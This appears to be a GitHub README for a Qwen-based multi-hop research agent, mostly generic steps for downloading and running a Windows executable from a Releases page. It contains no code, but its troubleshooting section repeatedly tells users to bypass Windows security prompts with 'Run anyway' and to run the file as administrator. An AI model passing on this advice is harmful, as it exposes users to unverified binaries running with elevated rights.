🧠 Research-Agent---1st-place-in-Alibaba-Cloud-Data-AI-Competition - Run Multi-Hop Research Fast

🖥️ What this app does

Research Agent helps you find answers to complex questions by checking more than one source and connecting the facts. It uses a step-by-step reasoning flow, web search, and page content extraction to build a clear answer from many clues.

This app is built for people who want a research tool that can:

• search the web for related facts
• read pages and pull useful text
• compare sources
• trace answers across several steps
• present results in a simple way

📥 Download the app

Go to the Releases page to download and run this file.

On that page, look for the latest release and download the Windows file attached to it. If you see more than one file, choose the one for Windows, which often ends in .exe or .zip.

🪟 How to install on Windows

1. Open the download page

Visit the Releases page in your web browser.

2. Get the latest version

Find the newest release near the top of the page. Open it and look for the download file listed under Assets.

3. Download the file

Click the Windows download file. Your browser will save it to your computer. Most users will find it in the Downloads folder.

4. Open the app

If you downloaded an .exe file, double-click it to start the app. If you downloaded a .zip file, open it and extract the contents first, then open the app file inside the folder.

5. Allow the app to run

Windows may show a security prompt. If that happens, choose Run or More info, then Run anyway if you trust the file from the release page.

⚙️ What you need

Use a Windows PC with the following:

• Windows 10 or Windows 11
• at least 8 GB of RAM
• a stable internet connection
• 2 GB of free disk space
• a modern browser if the app opens through a local web page

For best results, close large apps while using the research tool. This helps the app keep search and page reading fast.

🔎 Main features

🔁 Multi-hop reasoning

The app can handle questions that need more than one step. It can gather clues, then use them together to reach an answer.

🌐 Dual-engine search

It searches with two sources or search paths, which helps find more complete results and reduce gaps.

📄 Web content extraction

It can open web pages and pull the main text from them. This helps skip menus, ads, and clutter.

🧭 ReAct-style flow

The app can think through a task, act on it, then use what it finds to decide the next step. This helps with hard questions that need careful research.

🤖 Qwen model support

The project uses Qwen models for language tasks, which helps the app read, reason, and write answers.

🧩 Typical use cases

Use this app when you want to:

• research a topic across several pages
• compare facts from different sources
• answer school or work questions that need proof
• gather background for a report
• check claims with source-based reading
• explore a topic before writing your own notes

🚀 First run setup

After you open the app for the first time, you may need to complete a short setup:

1. Start the app from the downloaded file
2. Wait for the window or local page to load
3. Enter any required settings shown on screen
4. Add your search or model details if the app asks for them
5. Save the settings and run your first query

If the app opens in a browser window, keep that window open while the agent works. If the app asks for a local address, copy it into your browser exactly as shown.

🛠️ Simple troubleshooting

The file does not open

• Make sure the download finished
• Check that you opened the latest release file
• Try right-clicking the file and choosing Run as administrator

Windows blocks the app

• Open the file again
• Select More info if you see it
• Choose Run anyway if the file came from the release page

The app starts, then closes

• Reopen the file
• Make sure your internet connection is active
• Close other heavy apps and try again

The page looks blank

• Refresh the browser
• Wait a few seconds for the app to load
• Make sure no browser extensions are blocking the page

Search results look weak

• Try a shorter question
• Use clear names, dates, or place names
• Break one hard question into smaller questions

🗂️ What the project includes

This repository is centered on a research agent that combines:

• question reasoning
• web search
• page reading
• source extraction
• answer building

It is set up to help users work through complex questions in a steady way. The design focuses on finding useful text, checking links, and turning scattered facts into one answer.

🧾 Example questions

You can try questions like these:

• What are the main causes of a recent event?
• How do two companies differ on a key point?
• What evidence supports this claim?
• What steps led to this result?
• Which source gives the clearest answer?
• What is the best short explanation of this topic?

🔐 Safety and trust

Only download the app from the GitHub Releases page linked above. That keeps you on the same release track as the repository owner.

If you are unsure which file to use, pick the Windows asset that matches your system. If there is a portable version, it usually runs without a full install.

📌 Quick start

1. Visit the Releases page
2. Download the latest Windows file
3. Open the file or extract it if needed
4. Run the app
5. Enter your first research question